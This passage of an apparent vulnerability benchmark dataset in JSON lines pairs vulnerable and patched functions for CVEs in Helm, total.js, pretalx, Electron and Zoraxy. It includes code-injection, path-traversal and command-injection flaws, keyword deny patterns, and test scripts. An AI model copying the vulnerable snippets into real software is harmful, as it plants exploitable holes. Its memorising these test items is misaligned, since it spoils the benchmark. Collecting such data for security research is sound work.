install\")\n+\tf.BoolVar(&client.Replace, \"replace\", false, \"re-use the given name, only if that name is a deleted release which remains in the history. This is unsafe in production\")\n+\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n+\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n+\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n+\tf.BoolVarP(&client.GenerateName, \"generate-name\", \"g\", false, \"generate the name (and omit the NAME parameter)\")\n+\tf.StringVar(&client.NameTemplate, \"name-template\", \"\", \"specify template used to name the release\")\n+\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n+\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n+\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n+\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the installation process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n+\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, the installation process deletes the installation on failure. The --wait flag will be set automatically if --atomic is used\")\n+\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed. By default, CRDs are installed if not already present\")\n+\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n+\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n+\taddValueOptionsFlags(f, valueOpts)\n+\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n+\n+\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n+\t\trequiredArgs := 2\n+\t\tif client.GenerateName {\n+\t\t\trequiredArgs = 1\n+\t\t}\n+\t\tif len(args) != requiredArgs {\n+\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n+\t\t}\n+\t\treturn compVersionFlag(args[requiredArgs-1], toComplete)\n+\t})\n+\n+\tif err != nil {\n+\t\tlog.Fatal(err)\n+\t}\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25165:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/helm\nrm -rf ./pkg/engine/engine_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -v -timeout 30s -run ^TestRenderWIthDNS$ helm.sh/helm/v3/pkg/engine\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25165:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/helm\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd pkg/engine && go test -timeout 30s -v\n"}
{"cve_id": "CVE-2021-23344", "cve_description": "The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/totaljs/framework", "patch_url": ["https://github.com/totaljs/framework/commit/c812bbcab8981797d3a1b9993fc42dad3d246f04"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_210_1", "commit": "fcdf74c", "file_path": "utils.js", "start_line": 6606, "end_line": 6631, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tif ((/__proto__|constructor|prototype/).test(a))\n\t\tthrow new Error('Prototype pollution');\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\tfn(obj, value, path);\n};"}], "fix_func": [{"id": "fix_js_210_1", "commit": "c812bbcab8981797d3a1b9993fc42dad3d246f04", "file_path": "utils.js", "start_line": 6606, "end_line": 6631, "snippet": "exports.set = function(obj, path, value) {\n\tvar cachekey = 'S+' + path;\n\n\tif (F.temporary.other[cachekey])\n\t\treturn F.temporary.other[cachekey](obj, value);\n\n\tvar arr = parsepath(path);\n\tvar builder = [];\n\n\tfor (var i = 0; i < arr.length - 1; i++) {\n\t\tvar type = arr[i + 1] ? (REGISARR.test(arr[i + 1]) ? '[]' : '{}') : '{}';\n\t\tvar p = 'w' + (arr[i][0] === '[' ? '' : '.') + arr[i];\n\t\tbuilder.push('if(typeof(' + p + ')!==\\'object\\'||' + p + '==null)' + p + '=' + type + ';');\n\t}\n\n\tvar v = arr[arr.length - 1];\n\tvar ispush = v.lastIndexOf('[]') !== -1;\n\tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n\n\tif ((/__proto__|constructor|prototype|eval/).test(a))\n\t\tthrow new Error('Potential vulnerability');\n\n\tvar fn = new Function('w', 'a', 'b', a);\n\tF.temporary.other[cachekey] = fn;\n\tfn(obj, value, path);\n};"}], "vul_patch": "--- a/utils.js\n+++ b/utils.js\n@@ -17,8 +17,8 @@\n \tvar ispush = v.lastIndexOf('[]') !== -1;\n \tvar a = builder.join(';') + ';var v=typeof(a)===\\'function\\'?a(U.get(b)):a;w' + (v[0] === '[' ? '' : '.') + (ispush ? v.replace(REGREPLACEARR, '.push(v)') : (v + '=v')) + ';return v';\n \n-\tif ((/__proto__|constructor|prototype/).test(a))\n-\t\tthrow new Error('Prototype pollution');\n+\tif ((/__proto__|constructor|prototype|eval/).test(a))\n+\t\tthrow new Error('Potential vulnerability');\n \n \tvar fn = new Function('w', 'a', 'b', a);\n \tF.temporary.other[cachekey] = fn;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28458", "cve_description": "pretalx 2.3.1 before 2.3.2 allows path traversal in HTML export (a non-default feature). Organizers can trigger the overwriting (with the standard pretalx 404 page content) of an arbitrary file.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pretalx/pretalx", "patch_url": ["https://github.com/pretalx/pretalx/commit/60722c43cf975f319e94102e6bff320723776890"], "programing_language": "Python", "vul_func": [{"id": "vul_py_304_1", "commit": "4732e8f", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 112, "end_line": 123, "snippet": "def dump_content(destination, path, getter):\n    logging.debug(path)\n    content = getter(path)\n    if path.endswith(\"/\"):\n        path = path + \"index.html\"\n\n    path = Path(destination) / path.lstrip(\"/\")\n    path.parent.mkdir(parents=True, exist_ok=True)\n\n    with open(path, \"wb\") as f:\n        f.write(content)\n    return content"}, {"id": "vul_py_304_2", "commit": "4732e8f", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 126, "end_line": 135, "snippet": "def get_mediastatic_content(url):\n    if url.startswith(settings.STATIC_URL):\n        local_path = settings.STATIC_ROOT / url[len(settings.STATIC_URL) :]\n    elif url.startswith(settings.MEDIA_URL):\n        local_path = settings.MEDIA_ROOT / url[len(settings.MEDIA_URL) :]\n    else:\n        raise FileNotFoundError()\n\n    with open(local_path, \"rb\") as f:\n        return f.read()"}], "fix_func": [{"id": "fix_py_304_1", "commit": "60722c43cf975f319e94102e6bff320723776890", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 112, "end_line": 125, "snippet": "def dump_content(destination, path, getter):\n    logging.debug(path)\n    content = getter(path)\n    if path.endswith(\"/\"):\n        path = path + \"index.html\"\n\n    path = (Path(destination) / path.lstrip(\"/\")).resolve()\n    if not Path(destination) in path.parents:\n        raise CommandError(\"Path traversal detected, aborting.\")\n    path.parent.mkdir(parents=True, exist_ok=True)\n\n    with open(path, \"wb\") as f:\n        f.write(content)\n    return content"}, {"id": "fix_py_304_2", "commit": "60722c43cf975f319e94102e6bff320723776890", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 128, "end_line": 145, "snippet": "def get_mediastatic_content(url):\n    if url.startswith(settings.STATIC_URL):\n        local_path = settings.STATIC_ROOT / url[len(settings.STATIC_URL) :]\n    elif url.startswith(settings.MEDIA_URL):\n        local_path = settings.MEDIA_ROOT / url[len(settings.MEDIA_URL) :]\n    else:\n        raise FileNotFoundError()\n\n    # Prevent directory traversal, make sure the path is inside the media or static root\n    local_path = local_path.resolve(strict=True)\n    if not any(\n        path in local_path.parents\n        for path in (settings.MEDIA_ROOT, settings.STATIC_ROOT)\n    ):\n        raise FileNotFoundError()\n\n    with open(local_path, \"rb\") as f:\n        return f.read()"}], "vul_patch": "--- a/src/pretalx/agenda/management/commands/export_schedule_html.py\n+++ b/src/pretalx/agenda/management/commands/export_schedule_html.py\n@@ -4,7 +4,9 @@\n     if path.endswith(\"/\"):\n         path = path + \"index.html\"\n \n-    path = Path(destination) / path.lstrip(\"/\")\n+    path = (Path(destination) / path.lstrip(\"/\")).resolve()\n+    if not Path(destination) in path.parents:\n+        raise CommandError(\"Path traversal detected, aborting.\")\n     path.parent.mkdir(parents=True, exist_ok=True)\n \n     with open(path, \"wb\") as f:\n\n--- a/src/pretalx/agenda/management/commands/export_schedule_html.py\n+++ b/src/pretalx/agenda/management/commands/export_schedule_html.py\n@@ -6,5 +6,13 @@\n     else:\n         raise FileNotFoundError()\n \n+    # Prevent directory traversal, make sure the path is inside the media or static root\n+    local_path = local_path.resolve(strict=True)\n+    if not any(\n+        path in local_path.parents\n+        for path in (settings.MEDIA_ROOT, settings.STATIC_ROOT)\n+    ):\n+        raise FileNotFoundError()\n+\n     with open(local_path, \"rb\") as f:\n         return f.read()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-12581", "cve_description": "GitHub Electron before 1.6.8 allows remote command execution because of a nodeIntegration bypass vulnerability. This also affects all applications that bundle Electron code equivalent to 1.6.8 or earlier. Bypassing the Same Origin Policy (SOP) is a precondition; however, recent Electron versions do not have strict SOP enforcement. Combining an SOP bypass with a privileged URL internally used by Electron, it was possible to execute native Node.js primitives in order to run OS commands on the user's host. Specifically, a chrome-devtools://devtools/bundled/inspector.html window could be used to eval a Node.js child_process.execFile API call.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/electron/electron", "patch_url": ["https://github.com/electron/electron/commit/05b6d91bf4c1e0ee65eeef70cd5d1bd1df125644"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_81_1", "commit": "3f88eb2", "file_path": "lib/renderer/init.js", "start_line": "1", "end_line": "157", "snippet": "'use strict'\n\nconst events = require('events')\nconst path = require('path')\nconst Module = require('module')\nconst resolvePromise = Promise.resolve.bind(Promise)\n\n// We modified the original process.argv to let node.js load the\n// init.js, we need to restore it here.\nprocess.argv.splice(1, 1)\n\n// Clear search paths.\nrequire('../common/reset-search-paths')\n\n// Import common settings.\nrequire('../common/init')\n\nvar globalPaths = Module.globalPaths\n\n// Expose public APIs.\nglobalPaths.push(path.join(__dirname, 'api', 'exports'))\n\n// The global variable will be used by ipc for event dispatching\nvar v8Util = process.atomBinding('v8_util')\n\nv8Util.setHiddenValue(global, 'ipc', new events.EventEmitter())\n\n// Use electron module after everything is ready.\nconst electron = require('electron')\n\n// Call webFrame method.\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_WEB_FRAME_METHOD', (event, method, args) => {\n  electron.webFrame[method](...args)\n})\n\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_SYNC_WEB_FRAME_METHOD', (event, requestId, method, args) => {\n  const result = electron.webFrame[method](...args)\n  event.sender.send(`ELECTRON_INTERNAL_BROWSER_SYNC_WEB_FRAME_RESPONSE_${requestId}`, result)\n})\n\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_ASYNC_WEB_FRAME_METHOD', (event, requestId, method, args) => {\n  const responseCallback = function (result) {\n    resolvePromise(result)\n      .then((resolvedResult) => {\n        event.sender.send(`ELECTRON_INTERNAL_BROWSER_ASYNC_WEB_FRAME_RESPONSE_${requestId}`, null, resolvedResult)\n      })\n      .catch((resolvedError) => {\n        event.sender.send(`ELECTRON_INTERNAL_BROWSER_ASYNC_WEB_FRAME_RESPONSE_${requestId}`, resolvedError)\n      })\n  }\n  args.push(responseCallback)\n  electron.webFrame[method](...args)\n})\n\n// Process command line arguments.\nlet nodeIntegration = 'false'\nlet preloadScript = null\nlet isBackgroundPage = false\nlet appPath = null\nfor (let arg of process.argv) {\n  if (arg.indexOf('--guest-instance-id=') === 0) {\n    // This is a guest web view.\n    process.guestInstanceId = parseInt(arg.substr(arg.indexOf('=') + 1))\n  } else if (arg.indexOf('--opener-id=') === 0) {\n    // This is a guest BrowserWindow.\n    process.openerId = parseInt(arg.substr(arg.indexOf('=') + 1))\n  } else if (arg.indexOf('--node-integration=') === 0) {\n    nodeIntegration = arg.substr(arg.indexOf('=') + 1)\n  } else if (arg.indexOf('--preload=') === 0) {\n    preloadScript = arg.substr(arg.indexOf('=') + 1)\n  } else if (arg === '--background-page') {\n    isBackgroundPage = true\n  } else if (arg.indexOf('--app-path=') === 0) {\n    appPath = arg.substr(arg.indexOf('=') + 1)\n  }\n}\n\nif (window.location.protocol === 'chrome-devtools:') {\n  // Override some inspector APIs.\n  require('./inspector')\n  nodeIntegration = 'true'\n} else if (window.location.protocol === 'chrome-extension:') {\n  // Add implementations of chrome API.\n  require('./chrome-api').injectTo(window.location.hostname, isBackgroundPage, window)\n  nodeIntegration = 'false'\n} else if (window.location.protocol === 'chrome:') {\n  // Disable node integration for chrome UI scheme.\n  nodeIntegration = 'false'\n} else {\n  // Override default web functions.\n  require('./override')\n\n  // Inject content scripts.\n  require('./content-scripts-injector')\n\n  // Load webview tag implementation.\n  if (nodeIntegration === 'true' && process.guestInstanceId == null) {\n    require('./web-view/web-view')\n    require('./web-view/web-view-attributes')\n  }\n}\n\nif (nodeIntegration === 'true') {\n  // Export node bindings to global.\n  global.require = require\n  global.module = module\n\n  // Set the __filename to the path of html file if it is file: protocol.\n  if (window.location.protocol === 'file:') {\n    var pathname = process.platform === 'win32' && window.location.pathname[0] === '/' ? window.location.pathname.substr(1) : window.location.pathname\n    global.__filename = path.normalize(decodeURIComponent(pathname))\n    global.__dirname = path.dirname(global.__filename)\n\n    // Set module's filename so relative require can work as expected.\n    module.filename = global.__filename\n\n    // Also search for module under the html file.\n    module.paths = module.paths.concat(Module._nodeModulePaths(global.__dirname))\n  } else {\n    global.__filename = __filename\n    global.__dirname = __dirname\n\n    if (appPath) {\n      // Search for module under the app directory\n      module.paths = module.paths.concat(Module._nodeModulePaths(appPath))\n    }\n  }\n\n  // Redirect window.onerror to uncaughtException.\n  window.onerror = function (message, filename, lineno, colno, error) {\n    if (global.process.listeners('uncaughtException').length > 0) {\n      global.process.emit('uncaughtException', error)\n      return true\n    } else {\n      return false\n    }\n  }\n} else {\n  // Delete Node's symbols after the Environment has been loaded.\n  process.once('loaded', function () {\n    delete global.process\n    delete global.Buffer\n    delete global.setImmediate\n    delete global.clearImmediate\n    delete global.global\n  })\n}\n\n// Load the script specfied by the \"preload\" attribute.\nif (preloadScript) {\n  try {\n    require(preloadScript)\n  } catch (error) {\n    console.error('Unable to load preload script: ' + preloadScript)\n    console.error(error.stack || error.message)\n  }\n}"}], "fix_func": [{"id": "fix_js_81_1", "commit": "05b6d91", "file_path": "lib/renderer/init.js", "start_line": "1", "end_line": "157", "snippet": "'use strict'\n\nconst events = require('events')\nconst path = require('path')\nconst Module = require('module')\nconst resolvePromise = Promise.resolve.bind(Promise)\n\n// We modified the original process.argv to let node.js load the\n// init.js, we need to restore it here.\nprocess.argv.splice(1, 1)\n\n// Clear search paths.\nrequire('../common/reset-search-paths')\n\n// Import common settings.\nrequire('../common/init')\n\nvar globalPaths = Module.globalPaths\n\n// Expose public APIs.\nglobalPaths.push(path.join(__dirname, 'api', 'exports'))\n\n// The global variable will be used by ipc for event dispatching\nvar v8Util = process.atomBinding('v8_util')\n\nv8Util.setHiddenValue(global, 'ipc', new events.EventEmitter())\n\n// Use electron module after everything is ready.\nconst electron = require('electron')\n\n// Call webFrame method.\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_WEB_FRAME_METHOD', (event, method, args) => {\n  electron.webFrame[method](...args)\n})\n\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_SYNC_WEB_FRAME_METHOD', (event, requestId, method, args) => {\n  const result = electron.webFrame[method](...args)\n  event.sender.send(`ELECTRON_INTERNAL_BROWSER_SYNC_WEB_FRAME_RESPONSE_${requestId}`, result)\n})\n\nelectron.ipcRenderer.on('ELECTRON_INTERNAL_RENDERER_ASYNC_WEB_FRAME_METHOD', (event, requestId, method, args) => {\n  const responseCallback = function (result) {\n    resolvePromise(result)\n      .then((resolvedResult) => {\n        event.sender.send(`ELECTRON_INTERNAL_BROWSER_ASYNC_WEB_FRAME_RESPONSE_${requestId}`, null, resolvedResult)\n      })\n      .catch((resolvedError) => {\n        event.sender.send(`ELECTRON_INTERNAL_BROWSER_ASYNC_WEB_FRAME_RESPONSE_${requestId}`, resolvedError)\n      })\n  }\n  args.push(responseCallback)\n  electron.webFrame[method](...args)\n})\n\n// Process command line arguments.\nlet nodeIntegration = 'false'\nlet preloadScript = null\nlet isBackgroundPage = false\nlet appPath = null\nfor (let arg of process.argv) {\n  if (arg.indexOf('--guest-instance-id=') === 0) {\n    // This is a guest web view.\n    process.guestInstanceId = parseInt(arg.substr(arg.indexOf('=') + 1))\n  } else if (arg.indexOf('--opener-id=') === 0) {\n    // This is a guest BrowserWindow.\n    process.openerId = parseInt(arg.substr(arg.indexOf('=') + 1))\n  } else if (arg.indexOf('--node-integration=') === 0) {\n    nodeIntegration = arg.substr(arg.indexOf('=') + 1)\n  } else if (arg.indexOf('--preload=') === 0) {\n    preloadScript = arg.substr(arg.indexOf('=') + 1)\n  } else if (arg === '--background-page') {\n    isBackgroundPage = true\n  } else if (arg.indexOf('--app-path=') === 0) {\n    appPath = arg.substr(arg.indexOf('=') + 1)\n  }\n}\n\nif (window.location.protocol === 'chrome-devtools:') {\n  // Override some inspector APIs.\n  require('./inspector')\n  nodeIntegration = 'false'\n} else if (window.location.protocol === 'chrome-extension:') {\n  // Add implementations of chrome API.\n  require('./chrome-api').injectTo(window.location.hostname, isBackgroundPage, window)\n  nodeIntegration = 'false'\n} else if (window.location.protocol === 'chrome:') {\n  // Disable node integration for chrome UI scheme.\n  nodeIntegration = 'false'\n} else {\n  // Override default web functions.\n  require('./override')\n\n  // Inject content scripts.\n  require('./content-scripts-injector')\n\n  // Load webview tag implementation.\n  if (nodeIntegration === 'true' && process.guestInstanceId == null) {\n    require('./web-view/web-view')\n    require('./web-view/web-view-attributes')\n  }\n}\n\nif (nodeIntegration === 'true') {\n  // Export node bindings to global.\n  global.require = require\n  global.module = module\n\n  // Set the __filename to the path of html file if it is file: protocol.\n  if (window.location.protocol === 'file:') {\n    var pathname = process.platform === 'win32' && window.location.pathname[0] === '/' ? window.location.pathname.substr(1) : window.location.pathname\n    global.__filename = path.normalize(decodeURIComponent(pathname))\n    global.__dirname = path.dirname(global.__filename)\n\n    // Set module's filename so relative require can work as expected.\n    module.filename = global.__filename\n\n    // Also search for module under the html file.\n    module.paths = module.paths.concat(Module._nodeModulePaths(global.__dirname))\n  } else {\n    global.__filename = __filename\n    global.__dirname = __dirname\n\n    if (appPath) {\n      // Search for module under the app directory\n      module.paths = module.paths.concat(Module._nodeModulePaths(appPath))\n    }\n  }\n\n  // Redirect window.onerror to uncaughtException.\n  window.onerror = function (message, filename, lineno, colno, error) {\n    if (global.process.listeners('uncaughtException').length > 0) {\n      global.process.emit('uncaughtException', error)\n      return true\n    } else {\n      return false\n    }\n  }\n} else {\n  // Delete Node's symbols after the Environment has been loaded.\n  process.once('loaded', function () {\n    delete global.process\n    delete global.Buffer\n    delete global.setImmediate\n    delete global.clearImmediate\n    delete global.global\n  })\n}\n\n// Load the script specfied by the \"preload\" attribute.\nif (preloadScript) {\n  try {\n    require(preloadScript)\n  } catch (error) {\n    console.error('Unable to load preload script: ' + preloadScript)\n    console.error(error.stack || error.message)\n  }\n}"}], "vul_patch": "--- a/lib/renderer/init.js\n+++ b/lib/renderer/init.js\n@@ -78,7 +78,7 @@\n if (window.location.protocol === 'chrome-devtools:') {\n   // Override some inspector APIs.\n   require('./inspector')\n-  nodeIntegration = 'true'\n+  nodeIntegration = 'false'\n } else if (window.location.protocol === 'chrome-extension:') {\n   // Add implementations of chrome API.\n   require('./chrome-api').injectTo(window.location.hostname, isBackgroundPage, window)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-52010", "cve_description": "Zoraxy is a general purpose HTTP reverse proxy and forwarding tool. A command injection vulnerability in the Web SSH feature allows an authenticated attacker to execute arbitrary commands as root on the host. Zoraxy has a Web SSH terminal feature that allows authenticated users to connect to SSH servers from their browsers. In HandleCreateProxySession the request to create an SSH session is handled. An attacker can exploit the username variable to escape from the bash command and inject arbitrary commands into sshCommand. This is possible, because, unlike hostname and port, the username is not validated or sanitized.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/tobychui/zoraxy", "patch_url": ["https://github.com/tobychui/zoraxy/commit/2e9bc77a5d832bff1093058d42ce7a61382e4bc6", "https://github.com/tobychui/zoraxy/commit/c07d5f85dfc37bd32819358ed7d4bc32c604e8f0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_32_1", "commit": "e79a70b", "file_path": "src/mod/sshprox/sshprox.go", "start_line": 165, "end_line": 203, "snippet": "func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {\n\t//Create a gotty instance\n\tconnAddr := remoteIpAddr\n\tif username != \"\" {\n\t\tconnAddr = username + \"@\" + remoteIpAddr\n\t}\n\tconfigPath := filepath.Join(filepath.Dir(i.ExecPath), \".gotty\")\n\ttitle := username + \"@\" + remoteIpAddr\n\tif remotePort != 22 {\n\t\ttitle = title + \":\" + strconv.Itoa(remotePort)\n\t}\n\n\tsshCommand := []string{\"ssh\", \"-t\", connAddr, \"-p\", strconv.Itoa(remotePort)}\n\tcmd := exec.Command(i.ExecPath, \"-w\", \"-p\", strconv.Itoa(listenPort), \"--once\", \"--config\", configPath, \"--title-format\", title, \"bash\", \"-c\", strings.Join(sshCommand, \" \"))\n\tcmd.Dir = filepath.Dir(i.ExecPath)\n\tcmd.Env = append(os.Environ(), \"TERM=xterm\")\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tgo func() {\n\t\tcmd.Run()\n\t\ti.Destroy()\n\t}()\n\ti.tty = cmd\n\ti.AssignedPort = listenPort\n\ti.RemoteAddr = remoteIpAddr\n\ti.RemotePort = remotePort\n\n\t//Create a new proxy agent for this root\n\tpath, err := url.Parse(\"http://127.0.0.1:\" + strconv.Itoa(listenPort))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Create new proxy objects to the proxy\n\tproxy := reverseproxy.NewReverseProxy(path)\n\n\ti.conn = proxy\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_32_1", "commit": "2e9bc77", "file_path": "src/mod/sshprox/sshprox.go", "start_line": 150, "end_line": 199, "snippet": "func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {\n\t//Create a gotty instance\n\tconnAddr := remoteIpAddr\n\tif username != \"\" {\n\t\tconnAddr = username + \"@\" + remoteIpAddr\n\t}\n\n\t//Trim the space in the username and remote address\n\tusername = strings.TrimSpace(username)\n\tremoteIpAddr = strings.TrimSpace(remoteIpAddr)\n\n\t//Validate the username and remote address\n\terr := ValidateUsernameAndRemoteAddr(username, remoteIpAddr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconfigPath := filepath.Join(filepath.Dir(i.ExecPath), \".gotty\")\n\ttitle := username + \"@\" + remoteIpAddr\n\tif remotePort != 22 {\n\t\ttitle = title + \":\" + strconv.Itoa(remotePort)\n\t}\n\n\tsshCommand := []string{\"ssh\", \"-t\", connAddr, \"-p\", strconv.Itoa(remotePort)}\n\tcmd := exec.Command(i.ExecPath, \"-w\", \"-p\", strconv.Itoa(listenPort), \"--once\", \"--config\", configPath, \"--title-format\", title, \"bash\", \"-c\", strings.Join(sshCommand, \" \"))\n\tcmd.Dir = filepath.Dir(i.ExecPath)\n\tcmd.Env = append(os.Environ(), \"TERM=xterm\")\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tgo func() {\n\t\tcmd.Run()\n\t\ti.Destroy()\n\t}()\n\ti.tty = cmd\n\ti.AssignedPort = listenPort\n\ti.RemoteAddr = remoteIpAddr\n\ti.RemotePort = remotePort\n\n\t//Create a new proxy agent for this root\n\tpath, err := url.Parse(\"http://127.0.0.1:\" + strconv.Itoa(listenPort))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//Create new proxy objects to the proxy\n\tproxy := reverseproxy.NewReverseProxy(path)\n\n\ti.conn = proxy\n\treturn nil\n}"}, {"id": "fix_go_32_2", "commit": "2e9bc77", "file_path": "src/mod/sshprox/utils.go", "start_line": 81, "end_line": 101, "snippet": "func ValidateUsernameAndRemoteAddr(username string, remoteIpAddr string) error {\n\t// Validate and sanitize the username to prevent ssh injection\n\tvalidUsername := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n\tif !validUsername.MatchString(username) {\n\t\treturn errors.New(\"invalid username, only alphanumeric characters, dots, underscores and dashes are allowed\")\n\t}\n\n\t//Check if the remoteIpAddr is a valid ipv4 or ipv6 address\n\tif net.ParseIP(remoteIpAddr) != nil {\n\t\t//A valid IP address do not need further validation\n\t\treturn nil\n\t}\n\n\t// Validate and sanitize the remote domain to prevent injection\n\tvalidRemoteAddr := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n\tif !validRemoteAddr.MatchString(remoteIpAddr) {\n\t\treturn errors.New(\"invalid remote address, only alphanumeric characters, dots, underscores and dashes are allowed\")\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_32_3", "commit": "2e9bc77", "file_path": "src/webssh.go", "start_line": 19, "end_line": 75, "snippet": "func HandleCreateProxySession(w http.ResponseWriter, r *http.Request) {\n\t//Get what ip address and port to connect to\n\tipaddr, err := utils.PostPara(r, \"ipaddr\")\n\tif err != nil {\n\t\thttp.Error(w, \"Invalid Usage\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tportString, err := 